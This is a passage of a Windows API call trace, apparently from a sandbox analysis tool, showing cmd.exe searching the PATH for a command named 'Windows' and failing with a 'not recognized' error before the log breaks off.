fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.964] GetLastError () returned 0x2 [0211.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.965] GetLastError () returned 0x2 [0211.965] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.965] GetLastError () returned 0x2 [0211.965] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.965] GetLastError () returned 0x2 [0211.965] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.965] GetLastError () returned 0x2 [0211.966] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.966] GetLastError () returned 0x2 [0211.966] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d330 [0211.966] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0211.966] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.966] GetLastError () returned 0x2 [0211.966] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.967] GetLastError () returned 0x2 [0211.967] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.967] GetLastError () returned 0x2 [0211.967] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.967] GetLastError () returned 0x2 [0211.967] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.968] GetLastError () returned 0x2 [0211.968] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.968] GetLastError () returned 0x2 [0211.968] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.968] GetLastError () returned 0x2 [0211.968] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.968] GetLastError () returned 0x2 [0211.969] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.969] GetLastError () returned 0x2 [0211.969] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.969] GetLastError () returned 0x2 [0211.969] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.969] GetLastError () returned 0x2 [0211.970] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.970] GetLastError () returned 0x2 [0211.970] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.970] GetLastError () returned 0x2 [0211.970] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.970] GetLastError () returned 0x2 [0211.970] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.971] GetLastError () returned 0x2 [0211.971] ??_V@YAXPEAX@Z () returned 0x1 [0211.971] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0211.971] malloc (_Size=0xffce) returned 0x20b0fa70920 [0211.972] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0211.972] malloc (_Size=0xffce) returned 0x20b0fa80900 [0211.972] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0211.972] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.972] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.972] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.972] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.972] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.972] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.972] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.972] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.973] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.973] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.973] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.973] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.973] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.973] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.973] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.973] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.973] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.973] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.973] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.973] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.973] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.973] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.973] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.973] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.973] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.973] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.973] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.973] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.973] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.973] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.973] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.973] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.973] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.973] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.973] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.973] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.973] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.974] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.974] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.974] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.974] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.974] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.974] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.974] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.974] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.974] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.974] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.974] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.974] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.974] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.974] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.974] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.974] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.974] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.974] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.974] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.974] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.974] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.974] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.974] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.974] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.974] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.974] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.974] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.974] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.974] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.975] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.975] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.975] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.975] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.975] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.975] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.975] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.975] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.975] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.975] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.975] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.975] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.975] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.975] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.975] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.975] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.975] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.975] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.975] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0211.975] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0211.975] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0211.975] ??_V@YAXPEAX@Z () returned 0x1 [0211.976] GetProcessHeap () returned 0x20b0f920000 [0211.976] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0211.976] GetProcessHeap () returned 0x20b0f920000 [0211.976] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc4) returned 0x20b0f9573e0 [0211.976] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0211.976] malloc (_Size=0xffce) returned 0x20b0fa80900 [0211.976] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0211.977] GetProcessHeap () returned 0x20b0f920000 [0211.977] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0211.978] SetErrorMode (uMode=0x0) returned 0x0 [0211.978] SetErrorMode (uMode=0x1) returned 0x0 [0211.978] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0211.978] SetErrorMode (uMode=0x0) returned 0x1 [0211.978] GetProcessHeap () returned 0x20b0f920000 [0211.978] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0211.978] GetProcessHeap () returned 0x20b0f920000 [0211.978] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0211.978] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0211.978] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0211.978] GetProcessHeap () returned 0x20b0f920000 [0211.979] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0211.979] GetProcessHeap () returned 0x20b0f920000 [0211.979] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0211.979] GetProcessHeap () returned 0x20b0f920000 [0211.979] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0211.979] GetProcessHeap () returned 0x20b0f920000 [0211.979] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0211.979] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0211.979] GetProcessHeap () returned 0x20b0f920000 [0211.979] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d690 [0211.979] GetProcessHeap () returned 0x20b0f920000 [0211.979] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d690, Size=0x7e) returned 0x20b0f92d690 [0211.979] GetProcessHeap () returned 0x20b0f920000 [0211.979] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d690) returned 0x7e [0211.979] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cc70 [0211.979] FindClose (in: hFindFile=0x20b0f92cc70 | out: hFindFile=0x20b0f92cc70) returned 1 [0211.979] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.980] GetLastError () returned 0x2 [0211.980] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.980] GetLastError () returned 0x2 [0211.980] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.980] GetLastError () returned 0x2 [0211.980] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.980] GetLastError () returned 0x2 [0211.980] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.981] GetLastError () returned 0x2 [0211.981] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.981] GetLastError () returned 0x2 [0211.981] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.981] GetLastError () returned 0x2 [0211.981] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.981] GetLastError () returned 0x2 [0211.982] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.982] GetLastError () returned 0x2 [0211.982] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.982] GetLastError () returned 0x2 [0211.982] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.982] GetLastError () returned 0x2 [0211.982] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.983] GetLastError () returned 0x2 [0211.983] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ccd0 [0211.983] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0211.983] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.983] GetLastError () returned 0x2 [0211.983] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.983] GetLastError () returned 0x2 [0211.983] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.984] GetLastError () returned 0x2 [0211.984] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.984] GetLastError () returned 0x2 [0211.984] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.984] GetLastError () returned 0x2 [0211.984] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.984] GetLastError () returned 0x2 [0211.985] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.985] GetLastError () returned 0x2 [0211.985] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.985] GetLastError () returned 0x2 [0211.985] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.985] GetLastError () returned 0x2 [0211.985] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.986] GetLastError () returned 0x2 [0211.986] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.986] GetLastError () returned 0x2 [0211.986] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.987] GetLastError () returned 0x2 [0211.987] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.987] GetLastError () returned 0x2 [0211.987] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.987] GetLastError () returned 0x2 [0211.987] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0211.987] GetLastError () returned 0x2 [0211.988] ??_V@YAXPEAX@Z () returned 0x1 [0211.988] _get_osfhandle (_FileHandle=2) returned 0x54 [0211.988] GetFileType (hFile=0x54) returned 0x2 [0211.988] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0211.989] _get_osfhandle (_FileHandle=2) returned 0x54 [0211.989] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0211.989] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0211.989] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0211.989] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0211.996] ??_V@YAXPEAX@Z () returned 0x1 [0211.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.997] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0211.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.997] GetConsoleMode (in: hConsoleHandle=0x50, 